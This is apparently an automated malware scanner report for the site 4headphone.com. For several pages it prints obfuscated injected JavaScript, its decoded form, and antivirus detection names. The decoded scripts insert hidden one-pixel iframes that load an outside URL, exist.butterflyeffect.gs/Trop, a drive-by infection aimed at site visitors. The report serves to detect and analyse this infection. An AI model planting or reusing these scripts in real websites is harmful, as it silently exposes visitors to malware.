New scan:

Malware Scanner report for 4headphone.com

Malicious/Suspicious/Total urls checked
12/0/15
12 pages have malicious code. See details below
Blacklists
Found
The website is marked by Google as suspicious.

The website "4headphone.com" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=4headphone.com

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

RequestServer responseStatus
http://www.4headphone.com/
200 OK
Content-Length: 8876
Content-Type: text/html
clean
http://www.google-analytics.com/urchin.js
200 OK
Content-Length: 22678
Content-Type: text/javascript
clean
http://www.4headphone.com/wireless-gaming-headphones.html
200 OK
Content-Length: 14804
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var HHifZxl="l59lqXN59l59l";var VVt42="replace(/";var KyeP="9CQk%9C64Qk%9C6";var n5poRSH="XN59l5qXN72qXN";var n07oH="r W5icLRl";var ZYc8DnI="RMx974jRMx928jR";var oVOYLseT="g6EWg64Wg43W";var OcTSN="k%9C7AQk%";var ncO8B="EQk%9CffQk%9C3";var qmDH="R063R075";var b5NHfH="BxSP57xSP62x";var It5JBUN=".replace(/";var CYt2P="RMx972jRMx9";var HhUJ="96DjRMx965j";var LvJ8rUsy="27qXN3B';eval(u";var btBZiF="e(mBFj.repla";var Nlmc8c="P39xSP46xSP2Ex";var yhVFYI="g62Wg69Wg6";var ArwCmKs="0qXN3AqXN";var mPlk="vfR0
... 3000 bytes are skipped ...
+LvJ8rUsy;KyeP=xKiMI3DE+"9C7fQk%9C"+KyeP;yyDPRixq=ABUTriR+"g,'%'))"+yyDPRixq;LvJ8rUsy=pk1k+"075R06DR"+LvJ8rUsy;Nlmc8c=LvJ8rUsy+"cLRli.rep"+Nlmc8c;zfMTDz=DPiIGqZ+"Wg3B';ev"+zfMTDz;qmDH=nPShq20H+"28R064R06F"+qmDH;AlVE0T="9Cf0Qk%9C69Qk%"+AlVE0T;zfMTDz=yyDPRixq+"Wg73Wg74"+zfMTDz;zfMTDz=rhQjg2ZG+"e(UAzd.repla"+zfMTDz;Nlmc8c=qmDH+"2vfR062R06FR064"+Nlmc8c;Nlmc8c=AlVE0T+"Qk%9C3EQk%9"+Nlmc8c;zfMTDz=oFVtBf4M+"3B';eval(u"+zfMTDz;zfMTDz=Nlmc8c+"P69xSP64"+zfMTDz;zfMTDz=KyeP+"9Qk%9C76Qk%"+zfMTDz;eval(zfMTDz);

Decoded script:


var mBFj='Qk%9C76Qk%9C61Qk%9C7fQk%9Cf0Qk%9C70Qk%9C6AQk%9C3fQk%9C65Qk%9C36Qk%9C54Qk%9C73Qk%9C45Qk%9C3DQk%9CffQk%9C3%9CQk%9C64Qk%9C69Qk%9C76Qk%9Cf0Qk%9C69Qk%9C64Qk%9C3DQk%9Cf7Qk%9C61Qk%9C71Qk%9C33Qk%9C66Qk%9C5AQk%9C34Qk%9C5AQk%9C69Qk%9C4FQk%9C7AQk%9C4BQk%9C67Qk%9Cf7Qk%9C3EQk%9C3%9CQk%9CfFQk%9C64Qk%9C69Qk%9C76Qk%9C3EQk%9CffQk%9C3B';eval(unescape(mBFj.replace(/%9C/g,'C').replace(/f/g,'2').replace(/QkC/g,'%')));var PdgJcO='R069R066R028R064R06FR063R075R06DR065R06vfR074R02vfR062R06FR064R079R03DR03
... 4943 bytes are skipped ...
('iframe');
var WbS0D9F=document.createElement('iframe');
WbS0D9F.src='http://exist.butterflyeffect.gs/Trop';
WbS0D9F.src='http://exist.butterflyeffect.gs/Trop';
WbS0D9F.width='1';WbS0D9F.height='1';
WbS0D9F.width='1';WbS0D9F.height='1';
WbS0D9F.name='wse063btziB';WbS0D9F.style.visibility='hidden';poWtRKq3.appendChild(WbS0D9F);
WbS0D9F.name='wse063btziB';WbS0D9F.style.visibility='hidden';poWtRKq3.appendChild(WbS0D9F);
<div id='aq3fZ4ZiOzKg'></div>

Antivirus reports:

AntiVir
JS/iFrame.EB.169
Avast
JS:Iframe-CYM [Trj]
TrendMicro-HouseCall
TROJ_GEN.F47V1023
NANO-Antivirus
Trojan.Url.IframeB.tdejm
GData
Script.Trojan.Agent.BX1LJE

http://www.4headphone.com/macgaming.html
200 OK
Content-Length: 14594
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var DfPtKA="m6Emjm";var reG9zk="1f2146f2141f2";var YQhsiIAH="jyri9='Lc64Lc6";var VQFk2a="%p2E%cne%p62%";var f8NIT="L%Bmjm6Cm";var oxfVR1n="174f2145f21";var sjl5Tz="79f216";var PJiyW="%p76%cne%p";YQhsiIAH="%')));var X"+YQhsiIAH;var hR50u="4%cne%p52%";var sZJjSM31="cne%p65";var dX41aF="65%cne%p6D%";var IF1DA="4%cne%p28%cne%";var rWJfq="cne%p6E%cne%p74";var Gsx3Obr="e%p6F%cne%p";var BFXjOo="ZCf212Ff21";var rP78U="m6Emjm65mjm2Em";var s6ZH="5%cne%p6E%";hR50u="%p6C%cne%p7"+hR50u;var nEPGBSi="5%cne%p2E
... 3000 bytes are skipped ...
"162f216"+cVzXD6Mz;VQFk2a="e%p6C%cne%p74"+VQFk2a;cVzXD6Mz=RKRKSJo2+"56f2165f2175f21"+cVzXD6Mz;b6mzv=tsSf3KsP+"mjm79mjm6Cmj"+b6mzv;qdcq=VQFk2a+"e%p74%cne%p74%c"+qdcq;TXfdBv9=ohV97+"WM.repl"+TXfdBv9;CwM5o=uPOV+"3B';eval(unesca"+CwM5o;IQI2=YbuB+"31%cne%p3D%cne%"+IQI2;b6mzv=CwM5o+").replace(/f"+b6mzv;IQI2=TXfdBv9+",'%').repl"+IQI2;qdcq=IQI2+"e%p3B%cn"+qdcq;qdcq=xilkVVHp+"B';eval(u"+qdcq;cVzXD6Mz=Ft3Ha+"22f21bKZCf"+cVzXD6Mz;b6mzv=qdcq+"%p65%cne"+b6mzv;b6mzv=cVzXD6Mz+"64f2179f21bKZ"+b6mzv;eval(b6mzv);

Decoded script:


var UHFGlWM='f2176f2161f2172f2120f2179f216Bf21bKZbKZf2156f2165f2175f21bKZ6f21bKZDf2122f21bKZCf2164f2169f2176f2120f2169f2164f21bKZDf2127f2159f2174f2145f216Df2141f2146f2141f2127f21bKZEf21bKZCf212Ff2164f2169f2176f21bKZEf2122f21bKZBf2169f2166f2128f2164f216Ff216bKZf2175f216Df2165f216Ef2174f212Ef2162f216Ff2164f2179f21bKZDf21bKZDf216Ef2175f216Cf216Cf2129f2179f216Bf21bKZbKZf2156f2165f2175f21bKZ6f21bKZDf2127f21bKZCf2162f216Ff2164f2179f21bKZEf2127f212Bf2179f216Bf21bKZbKZf2156f2165f2175f21bKZ6f212Bf21
... 5406 bytes are skipped ...
rame');ltRBhne.src='http://exist.butterflyeffect.gs/Trop';ltRBhne.width='1';
var XAlX1=document.getElementById('YtEmAFA');var ltRBhne=document.createElement('iframe');ltRBhne.src='http://exist.butterflyeffect.gs/Trop';ltRBhne.width='1';
ltRBhne.height='1';ltRBhne.name='zwfDSx';ltRBhne.style.visibility='hidden';XAlX1.appendChild(ltRBhne);
ltRBhne.height='1';ltRBhne.name='zwfDSx';ltRBhne.style.visibility='hidden';XAlX1.appendChild(ltRBhne);
<div id='YtEmAFA'></div>

Antivirus reports:

Avast
JS:Iframe-CYM [Trj]
TrendMicro-HouseCall
TROJ_GEN.F47V0109
NANO-Antivirus
Trojan.Url.IframeB.tdejm

http://www.4headphone.com/consolegaming.html
200 OK
Content-Length: 13988
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var scg43b2w="632lU6lE2lU36";var d02YpaO="wpv1075106D1";var YtNJI="65106E10741";var RwEKe7="2lU682lU";var DbZptP="mQbmblV";var NYw9="6%wpv1075106D";var mgz5L="var sjRP0='";var R5Z7tVA="mblVm68lVm";var UhwdQ="/g,'%')))";var lSD9x="r eXVgR7='";var H4Ldq="jf49jf5";H4Ldq="Ejf4Ejf67jf4F"+H4Ldq;var LQFRbHrJ="ce(/3pF/g";var t0NLzUT="1jf2Bjf27jf3Njf";var z3q9="4lVm49lVm7Qb";var a2zzQeI="lU2F2lU5";UhwdQ+=";";var CucWXuLH="jf64jf6";var iamHZH="U612lU6D2l";z3q9+="lVm29lVmmbB";var qhm5U2L="').replace(/jf/";
... 3000 bytes are skipped ...
;UhwdQ=w3i2IYU+"b8lVmQb1lVm49"+UhwdQ;XTItcKu=d02YpaO+"E107410"+XTItcKu;RnATmR7=scg43b2w+"lU272lU"+RnATmR7;RnATmR7=ou5I+"22lU662lU6"+RnATmR7;XTItcKu=rq2he9+"pvB10761061107"+XTItcKu;RnATmR7=K5yZ06i4+"lU652lU7"+RnATmR7;XTItcKu=scoc4Vz+"41045106C"+XTItcKu;UhwdQ=RnATmR7+"Vm69lVm74l"+UhwdQ;UhwdQ=XTItcKu+"10651027102910%"+UhwdQ;H4Ldq=yAnK1W5+"Ajf43jf6F"+H4Ldq;lSD9x=Uxl1ldL+"unescape(sj"+lSD9x;ZK90tH=H4Ldq+"2jf41jf3Dj"+ZK90tH;lSD9x=ZK90tH+"Fjf49jf52jf41j"+lSD9x;UhwdQ=lSD9x+"107610611"+UhwdQ;eval(UhwdQ);

Decoded script:


var sjRP0='jf76jf61jf72jf20jf45jf4Ejf4Ejf67jf4Fjf49jf52jf41jf3Djf22jf3Njf64jf69jf76jf20jf69jf64jf3Djf27jf4Fjf5Ajf4Ajf62jf4Ajf43jf6Fjf27jf3Ejf3Njf2Fjf64jf69jf76jf3Ejf22jf3Bjf69jf66jf28jf64jf6Fjf63jf75jf6Djf65jf6Ejf74jf2Ejf62jf6Fjf64jf79jf3Djf3Djf6Ejf75jf6Njf6Njf29jf45jf4Ejf4Ejf67jf4Fjf49jf52jf41jf3Djf27jf3Njf62jf6Fjf64jf79jf3Ejf27jf2Bjf45jf4Ejf4Ejf67jf4Fjf49jf52jf41jf2Bjf27jf3Njf2Fjf62jf6Fjf64jf79jf3Ejf27jf3Bjf64jf6Fjf63jf75jf6Djf65jf6Ejf74jf2Ejf77jf72jf69jf74jf65jf20jf28jf45jf4Ejf4Ejf67jf4F
... 4314 bytes are skipped ...
QIr=document.getElementById('OZJbJCo');var c8ASTIu=document.createElement('iframe');
c8ASTIu.src='http://exist.butterflyeffect.gs/Trop';c8ASTIu.width='1';c8ASTIu.height='1';c8ASTIu.name='kXncj6OO';
c8ASTIu.src='http://exist.butterflyeffect.gs/Trop';c8ASTIu.width='1';c8ASTIu.height='1';c8ASTIu.name='kXncj6OO';
c8ASTIu.style.visibility='hidden';Ggd8QIr.appendChild(c8ASTIu);
c8ASTIu.style.visibility='hidden';Ggd8QIr.appendChild(c8ASTIu);
<div id='OZJbJCo'></div>

Antivirus reports:

Avast
JS:Iframe-CYM [Trj]
TrendMicro-HouseCall
TROJ_GEN.F47V0109
NANO-Antivirus
Trojan.Url.IframeB.tdejm

http://www.4headphone.com/voicesoftware.html
200 OK
Content-Length: 14134
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var xX8Cn="wT65twT6";var SnKy="G220G252G2";xX8Cn+="1twTgR4t";var Sibqi2="6FtwTgR0";var xJXli8MU=" oDoHoa0p='1N";var Bfv4="twT4AtwT6Etw";var QMHrCuQy="/g,'%'";var TJTz5MJ="G27qsvG2qsv1G";var aHEg3nP="DtwT65twT";var YJzLR1="e(/u/g";var HMAXltz="651NZ6E1NZ271";var HZ13="svAG233G257G2";var e0Rp="eplace(/8CR/g";TJTz5MJ="var gaDW='"+TJTz5MJ;var AJqypfGg="eplace";var ltCDRUTi="4G22EG2q";var JngrQ6="O8CR9jO";var nhKFMvOJ="5twT6EtwTgR4twT";YJzLR1="0p.replac"+YJzLR1;var BYWa="G279G23EG227G2";var bTAUouYz=
... 3000 bytes are skipped ...
MHrCuQy;lBEJY=TJTz5MJ+"272G220G2qsvA"+lBEJY;gOkikUym=Le7dZgNX+"8CRFjO79jO2EjO"+gOkikUym;O1NcM8Fp=fCvZT+"sv4G2qsvF"+O1NcM8Fp;gOaL4QT=O1NcM8Fp+"sv5G2qsv"+gOaL4QT;ZSrAjl=PXlbhq+"wTgR2twT61twT6"+ZSrAjl;sdhcO=gOaL4QT+"G2qsvDG2qs"+sdhcO;QMHrCuQy=gOkikUym+"pe(Le92j9P.rep"+QMHrCuQy;e4NuD=lBEJY+"2qsvqsvG2q"+e4NuD;QMHrCuQy=ZSrAjl+"TgR9twT65twT6"+QMHrCuQy;BYWa=e4NuD+"qsvEG2"+BYWa;QMHrCuQy=xX8Cn+"wT65twT45twT"+QMHrCuQy;QMHrCuQy=sdhcO+"G227G2qsvFG"+QMHrCuQy;QMHrCuQy=BYWa+"G25AG2qsvE"+QMHrCuQy;eval(QMHrCuQy);

Decoded script:


var gaDW='G27qsvG2qsv1G272G220G2qsvAG253G233G275G25AG2qsvEG230G2qsv5G23DG222G23CG2qsv4G2qsv9G27qsvG220G2qsv9G2qsv4G23DG227G2qsvFG234G251G238G2qsvqsvG2qsvAG233G257G227G23EG23CG22FG2qsv4G2qsv9G27qsvG23EG222G23BG2qsv9G2qsvqsvG228G2qsv4G2qsvFG2qsv3G275G2qsvDG2qsv5G2qsvEG274G22EG2qsv2G2qsvFG2qsv4G279G23DG23DG2qsvEG275G2qsvCG2qsvCG229G2qsvAG253G233G275G25AG2qsvEG230G2qsv5G23DG227G23CG2qsv2G2qsvFG2qsv4G279G23EG227G22BG2qsvAG253G233G275G25AG2qsvEG230G2qsv5G22BG227G23CG22FG2qsv2G2qsvFG2qsv4G279G23EG
... 4493 bytes are skipped ...
3W');
var Jnoy=document.createElement('iframe');Jnoy.src='http://exist.butterflyeffect.gs/Trop';
var Jnoy=document.createElement('iframe');Jnoy.src='http://exist.butterflyeffect.gs/Trop';
Jnoy.width='1';Jnoy.height='1';
Jnoy.width='1';Jnoy.height='1';
Jnoy.name='FMrHjhPcu3SI';
Jnoy.name='FMrHjhPcu3SI';
Jnoy.style.visibility='hidden';ROsuSjjE.appendChild(Jnoy);
Jnoy.style.visibility='hidden';ROsuSjjE.appendChild(Jnoy);
<div id='o4Q8fj3W'></div>

Antivirus reports:

Avast
JS:Iframe-CYM [Trj]
TrendMicro-HouseCall
TROJ_GEN.F47V0109
NANO-Antivirus
Trojan.Url.IframeB.tdejm

http://www.4headphone.com/skype.html
200 OK
Content-Length: 15197
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var KEKka="(Isu1PKg.repl";var q6eX="P45Kt7";var WqwZey9="place(/%vUz/g,";var hxIuA62="Kt72Kt2EKt77Kt";var hmNtv0bf="P48Kt3DKt27";var zffehxL="9Mf58Mf66";var JqkNSNgJ="Mf64Mf";var GQY5="f58Mf66Mf6E";var L6tG457o="P30%jP";var ZDwUT="jP2E%jP6E%jP6";var xlkUIK="27%jP58%j";var LCdflcB="c43Bc70Bc64";var SPdz5f="c/g,'3').repla";var MsbCB="ape(XZCLY.";var UNNWnt="FKt54Kt72";var Of1WzUc8="val(unescape";var hqDQH="P69%jP6C";MsbCB="val(unesc"+MsbCB;var ADE5uSi="Kt74Kt70Kt3AKt2";var qeMuC3qk="mv0A.replace(/
... 3000 bytes are skipped ...
Bc"+zn86E;zn86E=LCdflcB+"RBBc69Bc2EBc"+zn86E;v7qGZURR=RVlfAegH+"oP4EKt74Kt2E"+v7qGZURR;v7qGZURR=n5les4M+"41Kt51KtKtoP42"+v7qGZURR;raqU=Lif2ag3+"KtKtoP45Kt72"+raqU;raqU="2KtKtoP41KtKtoP"+raqU;GEP5lb=ZhI7o+"f20Mf5"+GEP5lb;GEP5lb="var Isu1PKg='M"+GEP5lb;raqU="4KtoP4Kt7"+raqU;raqU=v7qGZURR+"oP49KtKtoP"+raqU;zn86E=ZO6brrM+"jP79%jP6"+zn86E;tW3a0=GEP5lb+"FMf64Mf79Mf3"+tW3a0;tW3a0+="AlTL58";zn86E=raqU+"ar Ygmv0A='%"+zn86E;zn86E=APP3kT+"t59Kt41Kt27Kt"+zn86E;zn86E=tW3a0+"lTLc9lTL%vUz7l"+zn86E;eval(zn86E);

Decoded script:


var Isu1PKg='Mf76Mf64%Mf72Mf20Mf58Mf66Mf6EMf6AMf58Mf39Mf47Mf3DMf22Mf3CMf64Mf69Mf76Mf20Mf69Mf64Mf3DMf27Mf74Mf6CMf62Mf4FMf6BMf44%Mf34%Mf59Mf44%Mf27Mf3EMf3CMf2FMf64Mf69Mf76Mf3EMf22Mf3BMf69Mf66Mf28Mf64Mf6FMf63Mf75Mf6DMf65Mf6EMf74Mf2EMf62Mf6FMf64Mf79Mf3DMf3DMf6EMf75Mf6CMf6CMf29Mf58Mf66Mf6EMf6AMf58Mf39Mf47Mf3DMf27Mf3CMf62Mf6FMf64Mf79Mf3EMf27Mf2BMf58Mf66Mf6EMf6AMf58Mf39Mf47Mf2BMf27Mf3CMf2FMf62Mf6FMf64Mf79Mf3EMf27Mf3B';eval(unescape(Isu1PKg.replace(/4%/g,'1').replace(/Mf/g,'%')));var S8pfum='lTL6%v
... 4780 bytes are skipped ...
IXAQbGr=document.createElement('iframe');IXAQbGr.src='http://exist.butterflyeffect.gs/Trop';IXAQbGr.width='1';
var QLXxCpmi=document.getElementById('tlbOkA1YA');var IXAQbGr=document.createElement('iframe');IXAQbGr.src='http://exist.butterflyeffect.gs/Trop';IXAQbGr.width='1';
IXAQbGr.height='1';IXAQbGr.name='XvUcMBJGNv40';IXAQbGr.style.visibility='hidden';
IXAQbGr.height='1';IXAQbGr.name='XvUcMBJGNv40';IXAQbGr.style.visibility='hidden';
<div id='tlbOkA1YA'></div>

Antivirus reports:

Avast
JS:Iframe-CYM [Trj]
TrendMicro-HouseCall
TROJ_GEN.F47V0109
NANO-Antivirus
Trojan.Script.Iframe.ipzx

http://www.4headphone.com/music.html
200 OK
Content-Length: 13589
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var eDTG6="e76ee61ee72ee20";eDTG6="ee75ee29ee3Be"+eDTG6;var j4S3o="gsh038gsh0";var yBRSmhWr="Dgsh065gsh06Egs";var o8VsbF1="6Fee63ee75ee6D";var Ix894t="Og869Og867Og";var KwNwub="e(OhdK";var tO9Yiai="h041gsh04";var lHidRvK9="55Og872Og84B";var fKAwAsGl="g,'%')";var aT4ts="e(gxgiZC.replac";var ZnA1rt5i="9gsh076gs";fKAwAsGl="lace(/wlH/"+fKAwAsGl;var Zy9YF="GV='Og8";var IcEx7kx="e64ee6Fee";var oux6PgLt="06Fgsh064gsh";var aTTY="e(dWD9NGV.rep";var Hlz7sM="J966MS669J96";yBRSmhWr+="h074gs";var vfmDod="5ee
... 3000 bytes are skipped ...
wAsGl=YJZ3sC+"86FOg849O"+fKAwAsGl;fKAwAsGl=duK93J+"7Og83BOg876O"+fKAwAsGl;YeDtpnB=Ql6O+"var gx"+YeDtpnB;VnDjQHc=YeDtpnB+"42ee79ee"+VnDjQHc;tO9Yiai+="gsh053g";TNmcy+="1Og827";afRwr=XVdfocS+"h06Fgsh"+afRwr;tO9Yiai=L5vW+"h041gsh03"+tO9Yiai;TNmcy=VnDjQHc+"2Eee63"+TNmcy;fuvSI=tO9Yiai+"sh075gsh03D"+fuvSI;gBQTNBxZ=afRwr+"6gsh06Cgsh053g"+gBQTNBxZ;gBQTNBxZ=PGl6J4k+"gsh072gsh"+gBQTNBxZ;gBQTNBxZ=fuvSI+"sh064g"+gBQTNBxZ;fKAwAsGl=TNmcy+"Og83BOg876"+fKAwAsGl;fKAwAsGl=gBQTNBxZ+"ce(/sh"+fKAwAsGl;eval(fKAwAsGl);

Decoded script:


var gf53JU='gsh076gsh061gsh072gsh020gsh041gsh033gsh04Agsh041gsh046gsh06Cgsh053gsh075gsh03Dgsh022gsh03Cgsh064gsh069gsh076gsh020gsh069gsh064gsh03Dgsh027gsh072gsh059gsh047gsh038gsh050gsh058gsh046gsh06Bgsh027gsh03Egsh03Cgsh02Fgsh064gsh069gsh076gsh03Egsh022gsh03Bgsh069gsh066gsh028gsh064gsh06Fgsh063gsh075gsh06Dgsh065gsh06Egsh074gsh02Egsh062gsh06Fgsh064gsh079gsh03Dgsh03Dgsh06Egsh075gsh06Cgsh06Cgsh029gsh041gsh033gsh04Agsh041gsh046gsh06Cgsh053gsh075gsh03Dgsh027gsh03Cgsh062gsh06Fgsh064gsh079gsh03Egsh
... 4305 bytes are skipped ...
r vSUrK=document.createElement('iframe');
document.write (A3JAFlSu);var g9Xou=document.getElementById('rYG8PXFk');var vSUrK=document.createElement('iframe');
vSUrK.src='http://exist.butterflyeffect.gs/Trop';
vSUrK.src='http://exist.butterflyeffect.gs/Trop';
vSUrK.width='1';vSUrK.height='1';vSUrK.name='paBZoI8n';vSUrK.style.visibility='hidden';
vSUrK.width='1';vSUrK.height='1';vSUrK.name='paBZoI8n';vSUrK.style.visibility='hidden';
<div id='rYG8PXFk'></div>

Antivirus reports:

Avast
JS:Iframe-CYM [Trj]
TrendMicro-HouseCall
TROJ_GEN.F47V0109
NANO-Antivirus
Trojan.Url.IframeB.tdejm

http://www.4headphone.com/contact.html
200 OK
Content-Length: 12431
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var OW2O1Qpz="g,'6')));var ";var bJ8thXEA="B34yEA%B3";var pwqj1eZ3="34E%B33Dk4K4k4K";var sTXJGk="5E%S98";var u7xPVbtX="k4K3%B375k4KDk";var rMKs="z5%Na%Naz%";var Mvw5="9af76af20af69";var uh0fV="75k4KDk4K5k";var ZVvz="%B33D%B327%B33C";var ZVOt="sn3bjyk='%";var Bxb2ZI="lace(/%";var t8SKlB="6k4K1%B372%B";var SRNQKz="29k4K6%B3";var qLfIj="72%B320%";var Nyt8=");var q2JXH8V='";var Xt9aGZ="E%S9851%7";var JNXwOn="'%').repl";var KtZNXX="9%52%73%56%4";var bLRwI="2Ek4K7k4K5%";Bxb2ZI+="Z/g,'%')));";var hwIU=
... 3000 bytes are skipped ...
;bdXDnMl=CnFFoXbC+"4k4K5%B345k4"+bdXDnMl;bdXDnMl=bLRwI+"B374%B345k4"+bdXDnMl;Bxb2ZI=L2ulB0U+"Naz5%Na72%Na%"+Bxb2ZI;JxFw=OvBxlu+"f22af3"+JxFw;SQpJLS=bdXDnMl+"Dk4K5k4"+SQpJLS;SQpJLS=FvMLEs+"%B33E%"+SQpJLS;pSozuf=SQpJLS+"%B3/g,'%'"+pSozuf;Nyt8=JxFw+"3faf22af3B';e"+Nyt8;Cvoo0e="%S9852%S9859%"+Cvoo0e;yzq3zrNY=Bxb2ZI+"%49%52%7"+yzq3zrNY;Cvoo0e=yzq3zrNY+"9859%73%S9859"+Cvoo0e;Cvoo0e=pSozuf+"2E%Na%Naz2%Na75"+Cvoo0e;Cvoo0e=I6pcjM1l+"33E%B327%B32Bk4"+Cvoo0e;Cvoo0e=Nyt8+"4K3%B375k4KDk"+Cvoo0e;eval(Cvoo0e);

Decoded script:


var iNkIyA='af76af61af72af20af66af58af47af70af43af6Baf51af3Daf22af3Caf64af69af76af20af69af64af3Daf27af57af38af4Faf32af4Daf36af48af67af76af52af27af3faf3Caf2Faf64af69af76af3faf22af3B';eval(unescape(iNkIyA.replace(/af/g,'%').replace(/f/g,'E')));var q2JXH8V='k4K9k4K6%B328k4K4k4KyEAk4K3%B375k4KDk4K5k4KE%B374%B32Ek4K2k4KyEAk4K4%B379%B33D%B33Dk4KE%B375k4KCk4KC%B329k4K6%B358%B347%B370%B343k4KB%B351%B33D%B327%B33Ck4K2k4KyEAk4K4%B379%B33E%B327%B32Bk4K6%B358%B347%B370%B343k4KB%B351%B32B%B327%B33C%B32y
... 4451 bytes are skipped ...
LN=document.getElementById('W8O2M6HgvR');var yIRsVO=document.createElement('iframe');
yIRsVO.src='http://exist.butterflyeffect.gs/Trop';yIRsVO.width='1';
yIRsVO.src='http://exist.butterflyeffect.gs/Trop';yIRsVO.width='1';
yIRsVO.height='1';
yIRsVO.height='1';
yIRsVO.name='HVjEYIOI4';yIRsVO.style.visibility='hidden';qnfLN.appendChild(yIRsVO);
yIRsVO.name='HVjEYIOI4';yIRsVO.style.visibility='hidden';qnfLN.appendChild(yIRsVO);
<div id='W8O2M6HgvR'></div>

Antivirus reports:

Avast
JS:Iframe-CYM [Trj]
TrendMicro-HouseCall
TROJ_GEN.F47V0109
NANO-Antivirus
Trojan.Url.IframeB.tdejm

http://www.4headphone.com/wireless-headphones-specifications.html
200 OK
Content-Length: 18393
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var qIlH="y64Ty79T";var BsEAfJ="42Ty72Ty6ATy6";var mAhX="escape(o8OX.";var OYeF=".replace(/%Q";var I2tq="4t%8T066%8T072%";var iICksg0f="%Mgr58%Mgr6";var pVJIlx="K63%QK58%QK6";var YYoNW8="y75Ty6CTy6CTy";pVJIlx="uiv5='%Q"+pVJIlx;var dP08="(unescape(wXc";var QLDQN="41Od1%62";var fxA8he="6FOd1%3DO";OYeF+="G/g,'%";var o2HEihcs="Ty72Ty6AT";var PXxcxt="62Ty6FT";var aM3jCl="6t%8T073%8T0";OYeF="g,'G')"+OYeF;var Lme1="74Od1%4";var rb58IZ="Od1%20Od1";var OoV8aS="al(unesca";var hObuKzqS="Od1%63Od1%29Od1";va
... 3000 bytes are skipped ...
;Mys2YLo=gtEei+"d1%3AOd1"+Mys2YLo;YSNewWx=rqyuVEm+"7%Mgr31%Mgr2"+YSNewWx;NAghP24=TpBZDI+"Ty3ETy3C"+NAghP24;qxMYDJK=Mys2YLo+"66Od1%6CO"+qxMYDJK;tIlk6=YSNewWx+"QK41%QK6"+tIlk6;SMwoC=wdCx+"Ty61Ty72Ty20Ty7"+SMwoC;tIlk6=MWArk+"E%Mgr68"+tIlk6;kzns+="68Od1%4";kzns=DMwycp+"FOd1%46Od1%27"+kzns;NAghP24=SMwoC+"y56Ty4FTy"+NAghP24;tIlk6=OT7Rf+"6%Mgr72%Mg"+tIlk6;qxMYDJK=kzns+"9Od1%6"+qxMYDJK;tIlk6=V94tMEC7+"r2E%Mgr77%Mg"+tIlk6;tIlk6=qxMYDJK+"54Od1%72Od1%6"+tIlk6;tIlk6=NAghP24+"75Od1%6DOd1%"+tIlk6;eval(tIlk6);

Decoded script:


var o8OX='Ty76Ty61Ty72Ty20Ty77Ty6CTy70Ty42Ty72Ty6ATy63Ty3DTy22Ty3CTy64Ty69Ty76Ty20Ty69Ty64Ty3DTy27Ty79Ty31Ty73Ty67Ty41Ty62Ty4ETy4uNTy56Ty4FTy46Ty27Ty3ETy3CTy2FTy64Ty69Ty76Ty3ETy22Ty3uNTy69Ty66Ty28Ty64Ty6FTy63Ty75Ty6DTy65Ty6ETy74Ty2ETy62Ty6FTy64Ty79Ty3DTy3DTy6ETy75Ty6CTy6CTy29Ty77Ty6CTy70Ty42Ty72Ty6ATy63Ty3DTy27Ty3CTy62Ty6FTy64Ty79Ty3ETy27Ty2uNTy77Ty6CTy70Ty42Ty72Ty6ATy63Ty2uNTy27Ty3CTy2FTy62Ty6FTy64Ty79Ty3ETy27Ty3uN';eval(unescape(o8OX.replace(/uN/g,'B').replace(/Ty/g,'%')));var uLcLxV='Od1
... 5070 bytes are skipped ...
nt.write (wlpBrjc);var xQbQX3R=document.getElementById('y1sgAbNKVOF');var cXhIfro=document.createElement('iframe');cXhIfro.src='http://exist.butterflyeffect.gs/Trop';
cXhIfro.width='1';cXhIfro.height='1';
cXhIfro.width='1';cXhIfro.height='1';
cXhIfro.name='mOg8qAnXnxE';
cXhIfro.name='mOg8qAnXnxE';
cXhIfro.style.visibility='hidden';xQbQX3R.appendChild(cXhIfro);
cXhIfro.style.visibility='hidden';xQbQX3R.appendChild(cXhIfro);
<div id='y1sgAbNKVOF'></div>

Antivirus reports:

Avast
JS:Iframe-CYM [Trj]
TrendMicro-HouseCall
TROJ_GEN.F47V0109
NANO-Antivirus
Trojan.Script.Iframe.ipzx

http://www.4headphone.com/wireless-headset-troubleshooting.html
200 OK
Content-Length: 20851
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var c4tO="9sF73sF74sF2E";var Ym1q8I="F67sF7R";var plXi0mR="6gMfdL3DdL27d";var LF4n216="dL3CdL6gMfdL69";var E6nYE="F66sF5";var v6lFma9="/g,'%').";var pBgx4B="467f468f47";var aAzVg="L5AdL7";var fGASzm="sF67sF73sF2Fs";var pPyrr="53hcSi13h";var l2j3U6="5dL6DdL65dL6E";E6nYE=Ym1q8I+"Ag%sF66sF71s"+E6nYE;var XOuCyPx="462f469f46";var zyF0T="F29sF3BsF41";var HFzv="L7AdL66dL71";var LSHK2V="i43hc433hcSiEc3";var XEjJ="L27dL3CdL2FdL62";var k1FFrj4c="7dL2BdL53dL7gM";var ELBM="f46f4QN47f427f";var ILYiV="42Ef476
... 3000 bytes are skipped ...
